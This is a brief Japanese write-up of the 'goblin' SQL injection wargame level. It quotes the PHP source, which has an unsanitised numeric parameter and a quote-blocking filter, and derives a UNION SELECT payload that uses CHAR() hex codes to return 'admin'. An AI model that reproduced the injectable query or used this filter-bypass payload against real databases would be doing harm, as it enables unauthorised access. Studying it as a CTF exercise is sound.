<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("goblin"); highlight_file(__FILE__);
特徴は以下。
- noに数値で入れる
- noに
'"
が入っているとダメ - SQL評価結果としてadminが帰ってくればいい
前回の問題同様に、union selectを使ってadminを返せばいいが、クオート系が使えない。
noに0 union select 'admin'
としたい。
文字列表現をCHARを使って代用しよう。
adminはCHAR(0x61,0x64,0x6d,0x69,0x6e)
と表現することができる。
0 union select CHAR(0x61,0x64,0x6d,0x69,0x6e)